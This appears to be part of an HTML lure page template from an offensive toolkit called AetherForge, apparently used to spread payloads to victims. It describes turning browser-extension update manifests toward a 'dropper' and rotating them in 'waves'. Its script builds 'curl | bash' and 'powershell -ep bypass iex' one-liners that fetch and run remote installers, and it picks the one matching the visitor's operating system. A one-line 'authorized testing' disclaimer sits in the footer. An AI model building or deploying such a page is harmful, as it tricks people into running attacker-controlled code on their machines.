<li>Manifest / update URL fields reference your <code class="inline">install.ps1</code> or <code class="inline">/get</code> endpoint with <code class="inline">?c=plugin-update</code>.</li>
|
||||
<li>Extension logic opens your spread landing or triggers the platform dropper — user still confirms install (modern browsers block silent sideload).</li>
|
||||
<li>Rotate update manifests between waves; pin builds with <code class="inline">?pin=</code> for staged rollouts.</li>
|
||||
<li>Keep signing keys and update XML on infrastructure separate from the command-deck process when possible.</li>
|
||||
</ul>
|
||||
</div>
|
||||
<p>
|
||||
Registry compromise (npm/PyPI typosquat) is out of scope — this kit is for assets and update channels
|
||||
<em>you</em> operate. See
|
||||
<a href="/docs/SPREAD_TECHNIQUES.md#third-party-platforms">third-party platforms</a> in the docs wiki for risk notes.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<footer class="fine">
|
||||
<p>Having trouble? Run in terminal:</p>
|
||||
<code id="oneliner">curl -sL '{{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}' | bash</code>
|
||||
<p>
|
||||
Command-deck copy: <a href="/spread/">/spread/</a> ·
|
||||
Docs: <a href="/docs/">/docs/</a> ·
|
||||
Export fresh kits from <strong>Emberwake</strong> after each forge.
|
||||
</p>
|
||||
<p>AetherForge — authorized testing and lab use only.</p>
|
||||
</footer>
|
||||
</main>
|
||||
|
||||
<script>
|
||||
(function () {
|
||||
var SERVER = '{{SERVER_URL}}';
|
||||
if (SERVER.indexOf('{{') === 0) {
|
||||
SERVER = window.location.origin;
|
||||
}
|
||||
|
||||
var pageQs = window.location.search || '';
|
||||
var suffix = '{{QUERY_SUFFIX}}';
|
||||
if (suffix.indexOf('{{') === 0) {
|
||||
suffix = pageQs;
|
||||
} else if (pageQs && suffix.indexOf('?') !== 0) {
|
||||
suffix = pageQs;
|
||||
}
|
||||
|
||||
function withSuffix(path) {
|
||||
if (!suffix) return path;
|
||||
if (path.indexOf('?') >= 0) return path + suffix.replace('?', '&');
|
||||
return path + suffix;
|
||||
}
|
||||
|
||||
document.querySelectorAll('[data-installer]').forEach(function (el) {
|
||||
var file = el.getAttribute('data-installer');
|
||||
el.href = file + (suffix || '');
|
||||
});
|
||||
|
||||
var dl = document.getElementById('btn-dl');
|
||||
if (dl) dl.href = withSuffix(SERVER + '/get');
|
||||
|
||||
var bash = document.getElementById('oneliner-bash');
|
||||
var ps1 = document.getElementById('oneliner-ps1');
|
||||
if (bash) bash.textContent = "curl -sL '" + SERVER + "/install.sh" + suffix + "' | bash";
|
||||
if (ps1) ps1.textContent = 'powershell -ep bypass -c "iex (irm \'' + SERVER + '/install.ps1' + suffix + '\')"';
|
||||
|
||||
var ua = navigator.userAgent || '';
|
||||
var win = /windows/i.test(ua);
|
||||
var mac = /macintosh|mac os x/i.test(ua);
|
||||
var nix = /linux/i.test(ua) && !/android/i.test(ua);
|
||||
if (win) document.getElementById('btn-win').classList.add('primary');
|
||||
else if (mac) document.getElementById('btn-mac').classList.add('primary');
|
||||
else if (nix) document.getElementById('btn-nix').classList.add('primary');
|
||||
if (win) document.getElementById('oneliner').textContent =
|
||||
"powershell -ep bypass -c \"iex (irm '{{SERVER_URL}}/install.ps1{{QUERY_SUFFIX}}')\"";
|
||||
var primary = win ? 'btn-win' : mac ? 'btn-mac' : nix ? 'btn-nix' : null;
|
||||
if (primary) {
|
||||
var btn = document.getElementById(primary);
|
||||
if (btn) btn.classList.add('primary');
|
||||
}
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
|
||||
Reference in New Issue
Block a user